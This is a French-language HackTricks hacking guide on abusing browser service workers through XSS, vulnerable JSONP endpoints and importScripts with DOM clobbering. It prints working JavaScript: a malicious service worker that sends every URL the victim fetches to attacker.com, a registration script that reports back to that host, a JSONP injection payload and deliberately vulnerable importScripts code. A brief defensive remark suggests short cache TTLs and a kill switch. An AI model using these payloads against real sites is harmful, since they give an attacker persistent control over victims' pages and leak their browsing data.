10 KiB
Abus des travailleurs de service
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Informations de base
Un travailleur de service est un script que votre navigateur exécute en arrière-plan, indépendamment d'une page web, ouvrant la porte à des fonctionnalités qui n'ont pas besoin d'une page web ou d'une interaction utilisateur. (Plus d'informations sur ce qu'est un travailleur de service ici).
Ensuite, vous pouvez abuser des travailleurs de service en les créant/modifiant dans la session de la victime à l'intérieur du domaine web vulnérable qui accorde au attaquant le contrôle sur toutes les pages que la victime chargera dans ce domaine.
Vérifier les travailleurs de service existants
Vous pouvez les voir dans le champ Travailleurs de service de l'onglet Outils de développement. Vous pouvez également consulter chrome://serviceworker-internals.
Notifications push
Si la victime n'a pas accordé les permissions de notifications push, le travailleur de service ne pourra pas recevoir de communications du serveur si l'utilisateur n'accède pas à nouveau à la page de l'attaquant. Cela empêchera, par exemple, de maintenir des conversations avec toutes les pages qui ont accédé à la page web de l'attaquant, de sorte qu'une exploitation web si un travailleur de service est trouvé, il peut la recevoir et l'exécuter.
Cependant, si la victime accorde les permissions de notifications push, cela pourrait être un risque.
Attaque en créant un travailleur de service
Pour exploiter cette vulnérabilité, vous devez trouver :
- Un moyen de télécharger des fichiers JS arbitraires sur le serveur et un XSS pour charger le travailleur de service du fichier JS téléchargé
- Une requête JSONP vulnérable où vous pouvez manipuler la sortie (avec du code JS arbitraire) et un XSS pour charger le JSONP avec une charge utile qui chargera un travailleur de service malveillant.
Dans l'exemple suivant, je vais présenter un code pour enregistrer un nouveau travailleur de service qui écoutera l'événement fetch
et enverra à l'attaquant chaque URL récupérée (c'est le code dont vous auriez besoin pour télécharger sur le serveur ou charger via une réponse JSONP vulnérable) :
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
Et voici le code qui va enregistrer le worker (le code que vous devriez pouvoir exécuter en abusant d'une XSS). Dans ce cas, une requête GET sera envoyée au serveur des attaquants pour notifier si l'enregistrement du service worker a réussi ou non:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
En cas d'abus d'un point d'extrémité JSONP vulnérable, vous devez placer la valeur à l'intérieur de var sw
. Par exemple:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Il existe un C2 dédié à l'exploitation des Service Workers appelé Shadow Workers qui sera très utile pour exploiter ces vulnérabilités.
Dans une situation XSS, la directive de cache de 24 heures garantit qu'un SW malveillant ou compromis survivra à une correction de la vulnérabilité XSS pendant au maximum 24 heures (en supposant que le client soit en ligne). Les opérateurs de site peuvent réduire la fenêtre de vulnérabilité en définissant des TTL plus bas sur les scripts SW. Nous encourageons également les développeurs à créer un SW avec un interrupteur d'arrêt.
Abus de importScripts
dans un SW via le DOM Clobbering
La fonction importScripts
appelée depuis un Service Worker peut importer un script depuis un domaine différent. Si cette fonction est appelée en utilisant un paramètre que l'attaquant pourrait modifier, il serait en mesure d'importer un script JS depuis son domaine et d'obtenir une XSS.
Cela contourne même les protections CSP.
Exemple de code vulnérable :
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
Avec le DOM Clobbering
Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
Si l'URL/domaine utilisé par le SW pour appeler importScripts
est à l'intérieur d'un élément HTML, il est possible de le modifier via le DOM Clobbering pour que le SW charge un script depuis votre propre domaine.
Pour un exemple de cela, consultez le lien de référence.
Références
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.